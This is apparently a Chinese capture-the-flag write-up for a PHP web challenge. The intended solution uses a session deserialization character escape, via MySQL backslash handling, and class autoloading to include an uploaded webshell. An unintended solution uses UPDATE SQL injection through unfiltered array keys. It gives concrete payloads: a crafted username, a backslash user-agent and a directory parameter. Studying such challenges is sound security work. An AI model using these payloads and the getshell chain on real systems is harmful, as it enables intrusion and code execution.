简单说下题目的情况:

  • 能够上传任意后缀文件,但存在.htaccess无法执行php
  • session会被写入到mysql中
  • 登录时会写入$_SESSION['data']$_SESSION['username']
    1
    2
    3
    $session = new Session($res[0]["id"],time(),$ip,$userAgent);
    $_SESSION['data'] = serialize($session);
    $_SESSION['username'] = $username;
  • 使用session时会对$_SESSION['data']进行反序列化
    1
    2
    $session = unserialize($_SESSION["data"],["allowed_classes" => ["Session"]]);
    //反序列化出的对象只能是Session类的实例
  • 存在一个全局过滤escape(),无法直接注入(非预期解情况除外)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function escape(&$arg)
    {
    if (is_array($arg)) {
    foreach ($arg as &$value) {
    escape($value);
    }
    } else {
    $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
    }

预期解

session反序列化字符串逃逸

之前见到的反序列化字符逃逸都是有一个字符串替换的的过滤函数的,这题则是利用mysql中\\写入后变为\进行字符逃逸

$_SESSION['data']注入多个\,当session序列从mysql中取出进行反序列化的时候就会发生字符逃逸,我们可以让$_SESSION['username']中的内容暴露出来,从而伪造想要的$_SESSION['data'](后面的data能够覆盖前面的data)

控制了$_SESSION['data']就可以用unserialize进行反序列化了

1
2
$session = unserialize($_SESSION["data"],["allowed_classes" => ["Session"]]);
//反序列化出的对象只能是Session类的实例

问题在于allowed_classes限制了只能是Session类的实例

PHP动态调用静态方法

在后面调用了$session的一个静态方法

1
$this->now = $session::getTime(time());

php可以通过字符串动态调用静态方法

1
2
3
4
5
6
7
8
9
10
class A{
public static function test(){
echo "hacked";
}
}
class B{
public $name = "i am b";
}
unserialize(serialize("A"),["allowed_classes" => ["B"]])::test();
// hacked

如果存在一个有静态方法getTime的类,我们就可以unserialize出一个内容为类名的字符串,动态调用getTime方法

不过很遗憾,php内置类中并没有这样的类

类自动加载getshell

/lib/core.php 存在一个自动类加载,用来实现路由功能

1
2
3
4
5
6
7
8
9
10
11
12
13
spl_autoload_register('inner_autoload');
function inner_autoload($class)
{
global $__module, $__custom;
$class = str_replace("\\", "/", $class);
foreach (array('model', 'include', 'controller' . (empty($__module) ? '' : DS . $__module), $__custom) as $dir) {
$file = APP_DIR . DS . $dir . DS . $class . '.php';
if (file_exists($file)) {
include $file;
return;
}
}
}

当php在原文件中没有找到使用的类时就会调用这个inner_autoload去包含对应的php文件

并且可以通过get参数s控制$__custom,从而控制文件包含的目录

所以我们可以上传一个webshell,反序列化webshell文件名的字符串,使inner_autoload去包含webshell

攻击流程

  • 上传webshell,记录文件名,如ud3fzhlbc8vdggy2p4p3xv3g66v1nw3u.php
  • 注册一个名为;data|s:40:"s:32:"ud3fzhlbc8vdggy2p4p3xv3g66v1nw3u";的用户
  • 登录该用户时把user-agent改为\\\\\\\\\\\\\\\\,这时session会存入数据库
  • 这时会跳转到/main/index,抓包修改跳转到/main/index?s=img/upload/,同时user-agent要改成空(因为session反序列化后里面记录的user-agent会是空,要求user-agent与session里面的一致)

非预期解

非预期解没有利用反序列化字符逃逸,而是直接sql注入修改session

  • waf并没有对数组的key进行过滤

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function escape(&$arg)
    {
    if (is_array($arg)) {
    foreach ($arg as &$value) {
    escape($value);
    }
    } else {
    $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
    }

    serialize会把数组的key和value一起序列化,如果能传入数组就可以在key的位置注入'

  • 写入session的时候ip和user-agent使用了arg()来获取

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function arg($name, $default = null, $trim = false)
    {
    if (isset($_REQUEST[$name])) {
    $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
    $arg = $_SERVER[$name];
    } else {
    $arg = $default;
    }
    if ($trim) {
    $arg = trim($arg);
    }
    return $arg;
    }

    可以看到如果post或者get一个User-Agent是可以覆盖掉http headers中的User-Agent的,而且post和get是可以传入一个数组的

登陆的时候会调用MySessionHandler类的write方法将session写入mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function write($session_id,$data){

$time = time();
$res = $this->dbsession->query("SELECT * FROM `{$this->dbsession->table_name}` where `sessionid` = '{$session_id}' ");

if($res){
$this->dbsession->execute("UPDATE `{$this->dbsession->table_name}` SET `data` = '{$data}',`lastvisit` = '{$time}' where `sessionid` = '{$session_id}'");
}else{

$res = $this->dbsession->create(
["data"=>$data,
"sessionid"=>$session_id,
"lastvisit"=>$time]);
}
return true;
}

可以得到一个update型的注入,从而伪造session,后面和预期解一样